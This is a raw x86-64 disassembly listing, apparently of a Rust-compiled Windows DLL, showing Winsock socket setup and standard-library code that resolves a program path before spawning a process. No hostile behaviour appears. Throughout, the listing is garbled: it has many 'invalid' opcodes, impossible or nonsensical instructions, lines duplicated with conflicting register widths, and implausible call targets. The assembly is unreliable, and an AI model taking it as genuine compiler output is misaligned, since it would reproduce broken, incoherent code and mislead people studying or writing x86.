call qword [sym.imp.ws2_32.dll_WSAStartup]
out dx, eax
add dword [rax], eax
out dx, eax
add dword [rax], eax
mov dword [rbp + 0x16c], eax
test eax, eax
jne 0x18004d550
mov rax, qword [sym.imp.ws2_32.dll_WSACleanup]
mov qword [rdi], rax
add rsp, 0x1f0
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.library_std_src_synconce.rs
call fcn.180069bb0
mov qword [rbp + 0x138], 0
lea rcx, [rbp + 0x16c]
lea rdx, [rbp + 0x138]
call fcn.18006aab0
int3
mov eax, 0x274b841
add byte [rax], al
invalid
add byte [rax - 0x77], cl
stc
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, rsi
mov edx, eax
mov r8, rdi
call qword [sym.imp.ws2_32.dll_WSADuplicateSocketW]
shr esi, 1
invalid
shr esi, 1
add byte [rbx - 0x7bf00008], al
movabs eax, dword [0x558b044d8b000000]
adc byte [rbx + rcx*4 + 0x45], al
mov eax, dword [rbp + 0x14]
invalid
out dx, al
add dword [rax], eax
cmp eax, 0xffffffff
je 0x18004d691
mov ecx, dword [rbp + 4]
mov edx, dword [rbp + 0x10]
mov r8d, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
adc al, 0xc7
mov dword [rsp + 0x28], 0x81
and al, 0x28
add dword [rax], 0x44c70000
add byte [rax], al
add bh, al
and al, 0x20
add byte [rax], al
add bh, al
and al, 0x20
add byte [rax], al
mov dword [rsp + 0x20], 0
add byte [rax], al
add byte [rax], al
lea r9, [rbp - 0x48]
call qword [sym.imp.ws2_32.dll_WSASocketW]
add byte [rax - 0x77], cl
invalid
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18004d624
xor eax, eax
jmp 0x18004d6a6
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
outsb dx, byte [rsi]
out dx, al
add dword [rax], eax
cmp eax, 0x2739
je 0x18004d63a
or dword [rcx + 0x27263dc6], ecx
add byte [rax], al
mov esi, eax
cmp eax, 0x2726
jne 0x18004d699
mov ecx, dword [rbp + 4]
mov edx, dword [rbp + 0x10]
mov r8d, dword [rbp + 0x14]
invalid
adc al, 0xc7
adc al, 0xc7
mov dword [rsp + 0x28], 1
and al, 0x28
and al, 0x28
add dword [rax], eax
add byte [rax], al
add bh, al
and al, 0x20
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x20], 0
lea r9, [rbp - 0x48]
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
clc
invalid
movabs r8, 0x83480001ee5a15ff
cmp eax, 0xffffffff
clc
push qword [rbp + rbp + 0x48]
je 0x18004d691
mov rsi, rax
je 0x18004d691
mov rsi, rax
mov rcx, rax
mov ecx, eax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x18004d61d
movabs eax, dword [0xc7890001ea0615ff]
call qword [sym.imp.KERNEL32.dll_GetLastError]
add dword [rax], eax
mov edi, eax
invalid
mov rcx, rsi
call qword [sym.imp.ws2_32.dll_closesocket]
mov esi, edi
invalid
jmp 0x18004d699
invalid
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
out dx, al
add dword [rax], eax
invalid
add byte [rcx - 0x193eb73a], cl
mov esi, eax
shl rsi, 0x20
out 0x20, al
and byte [rax - 0x7d], cl
invalid
or rsi, 2
mov eax, 1
mov rdx, rsi
add rsp, 0x2b0
add esp, 0x2b0
add esp, 0x2b0
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
pop rbp
ret
sbb eax, 0x4c0002f9
lea eax, [0x18007d040]
mov edx, 0x3f
call fcn.180069820
push rsp
rol dword [rcx], 0
invalid
add byte [rax], al
add al, ch
push rsp
rol dword [rcx], 0
invalid
add ah, cl
int3
int3
or ecx, esp
int3
int3
sub rsp, 0xa0
sub esp, 0xa0
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov rdi, rcx
iretd
iretd
lea rcx, [rbp - 0x18]
mov rdx, rdi
call 0x1c9ff6048
mov r8, rsi
mov eax, esi
call fcn.180047840
movzx edx, byte [rbp - 0x18]
call 0x178526257
call 0x178526257
mov rax, qword [rbp + 8]
lea r8, [0x1800834b4]
lea eax, [0x1800834b4]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
clc
invalid
clc
jmp r9
add rcx, 4
jmp 0x18004d764
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x18004d764
mov ecx, 6
jmp 0x18004d764
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x18004d764
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb 0x18004d7de
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x18004d789
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x18004d78b
xor eax, eax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rsi
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm1
mov rcx, qword [rbp + 8]
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x1e], al
mov word [rbp - 0x20], 0x200
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x58]
call fcn.18004bd50
cmp byte [rbp - 0x18], 9
mov rdx, qword [rbp - 8]
jne 0x18004d7d1
mov rax, qword [rbp - 0x10]
jmp 0x18004d7d3
xor eax, eax
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.180069790
int3
xor eax, eax
test r14, r14
je 0x18004e8fc
cmp qword [rbp + 0x648], 0
je 0x180050b09
test rsi, rsi
jne 0x18004e1d3
mov ecx, 1
mov qword [rbp + 0x648], rcx
test r12, r12
je 0x18004e174
mov rdx, r12
and rdx, 7
je 0x18004e179
mov rcx, r12
and rcx, 0xfffffffffffffff8
mov rsi, rax
nop word cs:[rax + rax]
mov rsi, qword [rsi + 0x3d8]
dec rdx
jne 0x18004e160
cmp r12, 8
jae 0x18004e190
jmp 0x18004e1ce
mov rsi, rax
jmp 0x18004e1ce
mov rsi, rax
mov rcx, r12
cmp r12, 8
jb 0x18004e1ce
nop word cs:[rax + rax]
mov rax, qword [rsi + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rsi, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x18004e190
xor r12d, r12d
xor eax, eax
movzx ecx, word [rsi + 0x3d2]
cmp r12, rcx
jae 0x18004e1f0
mov r15, r12
mov r12, rsi
jmp 0x18004e219
mov r12, qword [rsi + 0x160]
test r12, r12
je 0x1800507e9
inc rax
movzx r15d, word [rsi + 0x3d0]
mov rsi, r12
cmp r15w, word [r12 + 0x3d2]
jae 0x18004e1f0
test rax, rax
je 0x18004e2b0
mov rsi, qword [r12 + r15*8 + 0x3e0]
mov rcx, rax
dec rcx
je 0x18004e29e
mov rdx, rcx
and rdx, 7
je 0x18004e255
mov rcx, rdx
nop
mov rsi, qword [rsi + 0x3d8]
dec rcx
jne 0x18004e240
not rdx
add rdx, rax
mov rcx, rdx
add rax, 0xfffffffffffffffe
cmp rax, 7
jb 0x18004e29e
nop
mov rax, qword [rsi + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rsi, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x18004e260
xor eax, eax
mov qword [rbp + 0x658], rax
jmp 0x18004e2be
lea rax, [r15 + 1]
mov qword [rbp + 0x658], rax
mov rsi, r12
dec r14
imul rax, r15, 0x38
lea rbx, [r12 + rax]
add rbx, 0x168
shl r15, 5
movabs rax, 0x8000000000000000
cmp qword [r12 + r15], rax
jne 0x18004e340
mov r13, qword [rbp + 0x560]
mov eax, 0
test r13, r13
mov r12, qword [rbp + 0x658]
je 0x18004e112
mov r9, qword [rbx + 0x28]
mov rax, qword [rbx + 0x30]
mov rdi, qword [rbp + 0x568]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x610]
mov rdx, r13
mov r8, rdi
call fcn.180053340
cmp qword [rbp + 0x610], 0
je 0x18004e4f3
xor eax, eax
jmp 0x18004e112
mov rdi, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
test r13, r13
mov qword [rbp + 0x608], r14
je 0x18004e375
js 0x180050bac
movzx eax, byte [0x18008b300]
xor ecx, ecx
mov rdx, r13
call fcn.180059d10
test rax, rax
jne 0x18004e37a
jmp 0x180050ba0
mov eax, 1
mov qword [rbp + 0x640], rax
mov rcx, rax
mov rdx, rdi
mov qword [rbp + 0x5f8], r13
mov r8, r13
call fcn.180068d66
movzx r13d, byte [rbx + 0x18]
mov rdx, qword [rbx + 0x28]
mov r14, qword [rbx + 0x30]
test r14, r14
je 0x18004e3e9
mov qword [rbp + 0x630], rdx
mov rax, r14
shr rax, 0x3e
lea rdi, [r14 + r14]
test rax, rax
jne 0x180050bcc
movzx eax, byte [0x18008b300]
xor ecx, ecx
mov rdx, rdi
call fcn.180059d10
test rax, rax
je 0x180050bc0
mov rbx, rax
mov rdx, qword [rbp + 0x630]
jmp 0x18004e3f0
mov ebx, 2
xor edi, edi
add r12, r15
mov rcx, rbx
mov r8, rdi
call fcn.180068d66
mov rax, qword [rbp + 0x5f8]
mov qword [rbp + 0x20], rax
mov rcx, qword [rbp + 0x640]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x38], r13b
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], r14
mov r13, qword [r12 + 8]
mov rdi, qword [r12 + 0x10]
test rdi, rdi
je 0x18004e463
js 0x180050bec
movzx eax, byte [0x18008b300]
xor ecx, ecx
mov rdx, rdi
call fcn.180059d10
test rax, rax
mov r14, qword [rbp + 0x608]
je 0x180050be0
mov ebx, 1
mov r14, qword [rbp + 0x608]
mov rcx, rbx
mov rdx, r13
mov r8, rdi
call fcn.180068d66
movzx eax, byte [r12 + 0x18]
mov qword [rbp + 0x580], rdi
mov qword [rbp + 0x588], rbx
mov qword [rbp + 0x590], rdi
mov byte [rbp + 0x598], al
mov byte [rbp + 0x63e], 0
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp + 0x560]
lea r8, [rbp + 0x20]
lea r9, [rbp + 0x580]
call fcn.180052050
mov rax, qword [rbp + 0x4c0]
shl rax, 1
test rax, rax
mov r12, qword [rbp + 0x658]
je 0x18004e110
mov rcx, qword [rbp + 0x4c8]
mov edx, 1
call fcn.18001b8e0
jmp 0x18004e110
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x620]
mov rcx, qword [rbp + 0x628]
mov byte [rbp + 0x4a0], 0
test rdx, rdx
je 0x18004e686
mov rax, qword [rax + rcx*8 + 0x3d8]
mov rcx, rdx
dec rcx
je 0x18004e5ee
mov r8, rcx
and r8, 7
je 0x18004e55e
movzx ecx, word [rax + 0x3d2]
dec rcx
mov qword [rbp + 0x520], rax
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x528], 0
mov qword [rbp + 0x530], rcx
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0x520]
lea r8, [rbp + 0x4a0]
call fcn.1800534e0
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x510], rax
movups xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x500], xmm0
movups xmm0, xmmword [rbp + 0x20]
movups xmm1, xmmword [rbp + 0x30]
movups xmm2, xmmword [rbp + 0x40]
movups xmm3, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x4f0], xmm3
movaps xmmword [rbp + 0x4e0], xmm2
movaps xmmword [rbp + 0x4d0], xmm1
movaps xmmword [rbp + 0x4c0], xmm0
add byte [rax - 0x75], cl
push rbp
js 0x18004e6b7
mov eax, dword [rbp + 0x88]
add byte [rax - 0x75], cl
push rbp
js 0x18004e6b7
mov eax, dword [rbp + 0x88]
movzx ecx, word [rdx + 0x3d2]
cmp rax, rcx
jae 0x18004e6bb
mov rcx, rdx
jmp 0x18004e6f9
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], 0
mov qword [rbp + 0x590], rcx
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0x580]
lea r8, [rbp + 0x4a0]
call fcn.1800534e0
jmp 0x18004e7e9
add dword cs:[rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rax], 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r8, qword [rbp + 0x80]
nop word cs:[rax + rax]
mov rcx, qword [rdx + 0x160]
test rcx, rcx
je 0x18004e6f4
inc r8
movzx eax, word [rdx + 0x3d0]
mov rdx, rcx
cmp ax, word [rcx + 0x3d2]
jae 0x18004e6d0
jmp 0x18004e6f9
mov rax, r8
xor ecx, ecx
imul rdx, rax, 0x38
shl rax, 5
mov r8, qword [rcx + rdx + 0x198]
mov qword [rbp + 0x5b0], r8
movups xmm0, xmmword [rcx + rdx + 0x168]
movups xmm1, xmmword [rcx + rdx + 0x178]
movups xmm2, xmmword [rcx + rdx + 0x188]
movaps xmmword [rbp + 0x5a0], xmm2
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x590], xmm1
movaps xmmword [rbp + 0x580], xmm0
mov r8, qword [rbp + 0x4f0]
mov qword [rcx + rdx + 0x198], r8
movaps xmm0, xmmword [rbp + 0x4c0]
movaps xmm1, xmmword [rbp + 0x4d0]
movaps xmm2, xmmword [rbp + 0x4e0]
movups xmmword [rcx + rdx + 0x188], xmm2
movups xmmword [rcx + rdx + 0x178], xmm1
movups xmmword [rcx + rdx + 0x168], xmm0
movups xmm0, xmmword [rcx + rax]
movups xmm1, xmmword [rcx + rax + 0x10]
lea rdx, [rbp + 0x5b8]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbp + 0x4f8]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + rax], xmm0
movups xmmword [rcx + rax + 0x10], xmm1
movaps xmm0, xmmword [rbp + 0x580]
movaps xmm1, xmmword [rbp + 0x590]
movaps xmm2, xmmword [rbp + 0x5a0]
movaps xmm3, xmmword [rbp + 0x5b0]
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x40], xmm2
movaps xmmword [rbp + 0x50], xmm3
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x60], xmm0
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x5d0], rax
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x5c0], xmm0
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movaps xmm2, xmmword [rbp + 0x40]
movaps xmm3, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x5b0], xmm3
movaps xmmword [rbp + 0x5a0], xmm2
dec qword [rbp + 0x570]
movaps xmmword [rbp + 0x590], xmm1
movaps xmmword [rbp + 0x580], xmm0
cmp byte [rbp + 0x4a0], 0
je 0x18004e874
test rdi, rdi
je 0x180050c50
mov rax, qword [r13 + 0x3d8]
mov qword [rbp + 0x560], rax
dec rdi
mov qword [rbp + 0x568], rdi
mov qword [rax + 0x160], 0
mov edx, 8
mov rcx, r13
call fcn.18001b8e0
mov rdx, qword [rbp + 0x580]
mov rcx, qword [rbp + 0x588]
mov r15, qword [rbp + 0x5a0]
mov r13, qword [rbp + 0x5a8]
mov rbx, qword [rbp + 0x5b8]
mov rdi, qword [rbp + 0x5c0]
mov eax, 0x48000005
mov edi, dword [rbp + 0x5c0]
mov eax, 0
movabs r8, 0x8000000000000000
cmp rdx, r8
je 0x18004e112
test rdx, rdx
je 0x18004e8c5
mov edx, 1
call fcn.18001b8e0
test r15, r15
je 0x18004e8d7
invalid
or eax, 0x2ba
add byte [rcx + rcx*4 - 0x17], cl
mov edx, 2
mov rcx, r13
call fcn.18001b8e0
shl rbx, 1
mov eax, 0
jrcxz 0x18004e893
add byte [rax], al
add byte [rax], al
test rbx, rbx
je 0x18004e112
mov edx, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
call fcn.18001b8e0
xor eax, eax
jmp 0x18004e112
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x478], rax
movups xmm0, xmmword [rbp + 0x560]
movups xmmword [rbp + 0x468], xmm0
mov qword [rbp + 0x460], 1
mov dword [rbp + 0x460], 1
mov dword [rbp + 0x460], 1
movzx eax, byte [0x18008b300]
mov edx, 4
xor ecx, ecx
call fcn.180059d10
test rax, rax
je 0x180050c6d
mov dword [rax], 0x48544150
mov rcx, rax
add rcx, 4
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], rcx
mov word [rbp + 0x590], 0
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp + 0x580]
mov qword [rbp + 0x648], rax
call fcn.180051e20
mov qword [rbp + 0x20], 4
mov rcx, qword [rbp + 0x648]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 4
mov byte [rbp + 0x38], 0
movups xmm0, xmmword [rbp + 0x4c0]
movups xmmword [rbp + 0x40], xmm0
mov rax, qword [rbp + 0x4d0]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x468]
mov rdi, qword [rbp + 0x48]
test rax, rax
je 0x18004ea93
mov r14d, dword [rbp + 0x50]
mov r12, qword [rbp + 0x470]
mov r13, qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
lea rcx, [rax + 0x168]
mov qword [rbp + 0x658], rax
movzx eax, word [rax + 0x3d2]
mov qword [rbp + 0x608], rax
imul rsi, rax, 0x38
mov r15, 0xffffffffffffffff
nop
test rsi, rsi
je 0x18004ea40
lea rbx, [rcx + 0x38]
mov r8, qword [rcx + 0x28]
mov r9d, dword [rcx + 0x30]
mov dword [rsp + 0x20], 1
mov rcx, rdi
mov edx, r14d
call r13
add rsi, 0xffffffffffffffc8
inc r15
mov rcx, rbx
cmp eax, 3
je 0x18004ea00
cmp eax, 1
jne 0x18004ea65
jmp 0x18004ea47
mov r15, qword [rbp + 0x608]
sub r12, 1
jb 0x18004ef00
mov rax, qword [rbp + 0x658]
mov rax, qword [rax + r15*8 + 0x3d8]
jmp 0x18004e9d8
cmp eax, 2
jne 0x180050b1a
shl r15, 5
mov rax, qword [rbp + 0x658]
mov r12, qword [rax + r15 + 8]
mov r14, qword [rax + r15 + 0x10]
mov r13, qword [rbp + 0x550]
mov rcx, qword [rbp + 0x648]
jmp 0x18004ea9d
xor r12d, r12d
mov r13, qword [rbp + 0x550]
mov edx, 1
call fcn.18001b8e0
cmp qword [rbp + 0x40], 0
je 0x18004eabb
mov edx, 2
mov rcx, rdi
call fcn.18001b8e0
mov rdx, qword [r13 + 0x10]
lea rdi, str.program_path_has_no_file_name
test rdx, rdx
mov rax, qword [rbp + 0x600]
je 0x18004f6ad
mov rbx, qword [r13 + 8]
cmp rdx, 4
jae 0x18004eae9
lea rax, [0x180053f40]
jmp 0x18004eb11
mov eax, dword [rbx]
bswap eax
xor ecx, ecx
cmp eax, 0x5c5c3f5c
setb cl
cmp eax, 0x5c5c3f5d
adc ecx, 0xffffffff
lea rcx, [0x180053f30]
lea rax, [0x180053f40]
cmove rax, rcx
mov qword [rbp + 0x658], rdx
movzx esi, byte [rdx + rbx - 1]
mov byte [rbp + 0x667], 1
mov ecx, esi
call rax
test al, al
mov rax, qword [rbp + 0x600]
jne 0x18004f6ad
mov rax, qword [rbp + 0x658]
lea r11, [rbx + rax]
cmp rax, 3
jbe 0x18004eba5
movzx eax, byte [r11 - 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x2e
jne 0x18004ebd0
movzx eax, byte [r11 - 3]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x18004ebd0
movzx eax, byte [r11 - 2]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x78
jne 0x18004ebd0
lea eax, [rsi - 0x41]
cmp al, 0x1a
setb al
shl al, 5
or al, sil
cmp al, 0x65
sete al
jmp 0x18004ebd2
xor eax, eax
mov rsi, qword [rbp + 0x658]
nop
cmp rsi, rax
je 0x18004ed44
movzx ecx, byte [rbx + rax]
cmp ecx, 0x2f
je 0x18004ec49
inc rax
cmp ecx, 0x5c
jne 0x18004ebb0
jmp 0x18004ec49
xor eax, eax
xor ecx, ecx
mov rsi, qword [rbp + 0x658]
nop dword [rax + rax]
cmp rsi, rcx
je 0x18004ed44
movzx edx, byte [rbx + rcx]
cmp edx, 0x2f
je 0x18004ebfa
inc rcx
cmp edx, 0x5c
jne 0x18004ebe0
test al, al
je 0x18004ec49
mov qword [rbp + 0x608], r11
mov byte [rbp + 0x667], 1
lea rcx, [rbp + 0x20]
mov rdx, rbx
mov r8, rsi
call fcn.1800490e0
mov rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x28]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
jne 0x18004eed4
mov qword [rbp + 0x608], r11
test rsi, rsi
js 0x180050d33
movzx eax, byte [0x18008b300]
xor ecx, ecx
mov rdx, rsi
call fcn.180059d10
test rax, rax
je 0x180050d37
mov rdi, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call fcn.180068d66
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x30], rsi
mov byte [rbp + 0x38], 0
lea rdx, str..exeprogram_not_found
lea rcx, [rbp + 0x20]
mov r8d, 4
mov qword [rbp + 0x648], rdi
call fcn.18004a5d0
mov r15, qword [rbp + 0x20]
mov r14, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x30]
mov qword [rbp + 0x458], r14
mov qword [rbp + 0x450], r15
mov byte [rbp + 0x63d], 1
lea rcx, [rbp + 8]
mov rdx, r14
mov r8, rsi
call fcn.180054040
movabs rdi, 0x8000000000000000
cmp qword [rbp + 8], rdi
jne 0x18004ee23
xor r8d, r8d
lea rdi, str.nul_byte_found_in_provided_data
mov rax, rbx
jmp 0x18004ed6c
xor r8d, r8d
test cx, cx
je 0x18004f6a6
mov cx, 1
test r8w, r8w
jne 0x18004ed60
cmp rax, r11
je 0x18004ee8e
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x18004ed90
cmp rsi, 0xf
mov qword [rbp + 0x608], r11
ja 0x18004ef19
nop word cs:[rax + rax]
cmp byte [rbx + rcx], 0x2e
sete r8b
je 0x18004ef2e
lea rdx, [rcx + 1]
cmp rax, rcx
mov rcx, rdx
sal dword [rbp - 0x16], 1
sal dword [rbp - 0x16], 1
jmp 0x18004ef2e
mov r13, qword [rbp + 0x550]
xor r12d, r12d
jmp 0x18004ea8a
invalid
invalid
invalid
mov byte [rbp + 0x5f8], r8b
mov byte [rbp + 0x5f8], al
test r12, r12
je 0x18004ef89
add r14, r12
mov qword [rbp + 0x580], r12
mov qword [rbp + 0x588], r14
mov word [rbp + 0x590], 0
mov byte [rbp + 0x598], 1
mov byte [rbp + 0x667], 1
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0x580]
call fcn.18004a0a0
mov rax, qword [rbp + 0x20]
movabs rsi, 0x8000000000000000
cmp rax, rsi
jne 0x18004f2ab
mov byte [rbp + 0x667], 1
lea rcx, [rbp + 0x580]
call fcn.18004a340
mov rcx, qword [rbp + 0x580]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x18004efca
lea rcx, [rbp + 0x588]
mov byte [rbp + 0x667], 1
call fcn.180043db0
jmp 0x18004f08e
mov qword [rbp + 0x640], rcx
mov rcx, qword [rbp + 0x588]
mov rdi, qword [rbp + 0x590]
mov rsi, qword [rbp + 0x598]
mov ch, 0x98
add eax, 0x85c60000
cmp al, 6
add byte [rax], al
add byte [rax - 0x77], cl
lea ecx, [rax + 6]
add byte [rax], al
invalid
mov ch, 0x98
add eax, 0x85c60000
cmp al, 6
add byte [rax], al
add byte [rax - 0x77], cl
lea ecx, [rax + 6]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
cli
mov rdx, rdi
call 0x18004c090
cmp rdi, rdx
cmovb rdx, rdi
test rax, rax
cmove rdx, rdi
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], rsi
lea rcx, [rbp + 0x20]
mov rdx, rbx
mov r8, qword [rbp + 0x658]
call fcn.18004b120
movzx eax, byte [rbp + 0x5f8]
test al, al
jne 0x18004f04f
lea rcx, [rbp + 0x20]
call fcn.18004d7f0
mov rdi, qword [rbp + 0x28]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x28]
mov rdx, rdi
call fcn.180054040
cmp qword [rbp + 0x20], 0
je 0x18004f077
mov edx, 1
mov rcx, rdi
call fcn.18001b8e0
mov rax, qword [rbp - 0x28]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1800500bc
mov qword [rbp + 0x640], rbx
mov qword [rbp + 0x610], 0
mov qword [rbp + 0x618], 2
mov qword [rbp + 0x620], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x648], rax
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp r8, 0x201
jb 0x18004f0f6
jmp 0x18004f110
mov r13, qword [rbp + 0x550]
jae 0x18004f1cf
cmp r8, 0x201
jae 0x18004f110
mov r14d, 0x200
lea r15, [rbp + 0x20]
mov r12, r8
jmp 0x18004f167
sub r8, rdi
sub rbx, rdi
cmp rbx, r8
jae 0x18004f13f
lea rcx, [rbp + 0x610]
mov rdx, rdi
call fcn.18006a570
mov rsi, qword [rbp + 0x610]
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x648], rax
mov eax, 0xffffffff
cmp rsi, rax
mov edi, 0xffffffff
cmovb rdi, rsi
mov qword [rbp + 0x620], rdi
mov rbx, rsi
mov r14, rdi
mov r15, qword [rbp + 0x648]
mov r12, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
add dword [rax], eax
add dword [rax], eax
mov rcx, r15
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r13d, eax
invalid
test eax, eax
jne 0x18004f190
invalid
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x18004f386
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x77], al
call 0x18fc92ae4
test dword [rdi + rdi*8 - 1], eax
invalid
mov r8d, r13d
cmp r12, r8
jne 0x18004f0e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180050c88
invalid
add r12, r12
mov eax, 0xffffffff
invalid
invalid
invalid
dec dword [rcx + 0x39]
invalid
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jae 0x18004f110
jmp 0x18004f0f6
cmp r14, r8
jb 0x180050d51
lea rcx, [rbp + 0x580]
mov rdx, r15
call fcn.1800474f0
lea rcx, [rbp + 0x580]
mov rbx, qword [rbp + 0x640]
mov rdx, rbx
mov r8, qword [rbp + 0x658]
call fcn.18004b120
movzx eax, byte [rbp + 0x5f8]
test al, al
jne 0x18004f21b
lea rcx, [rbp + 0x580]
call fcn.18004d7f0
mov rdi, qword [rbp + 0x588]
mov r8, qword [rbp + 0x590]
lea rcx, [rbp + 0x4c0]
mov rdx, rdi
call fcn.180054040
cmp qword [rbp + 0x580], 0
je 0x18004f24f
mov edx, 1
mov rcx, rdi
call fcn.18001b8e0
movups xmm0, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x4a0], xmm0
mov rax, qword [rbp + 0x4d0]
mov qword [rbp + 0x4b0], rax
cmp qword [rbp + 0x610], 0
je 0x18004f286
mov rcx, qword [rbp + 0x618]
mov edx, 2
call fcn.18001b8e0
mov rcx, qword [rbp + 0x4a0]
movabs rax, 0x8000000000000001
cmp rcx, rax
jg 0x180050397
je 0x18004f3c7
jmp 0x18004f3da
lea r12, [rbp + 0x20]
lea rdi, [rbp + 0x580]
lea r14, [rbp - 0x10]
jmp 0x18004f2db
mov byte [rbp + 0x667], 1
mov rcx, r12
mov rdx, rdi
call fcn.18004a0a0
mov rax, qword [rbp + 0x20]
cmp rax, rsi
je 0x18004ef89
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
test rdx, rdx
je 0x18004f36e
mov r8, qword [rbp + 0x38]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
mov rcx, r12
mov rdx, rbx
mov r8, qword [rbp + 0x658]
call fcn.18004b120
cmp byte [rbp + 0x5f8], 0
jne 0x18004f323
mov rcx, r12
call fcn.18004d7f0
mov r15, qword [rbp + 0x28]
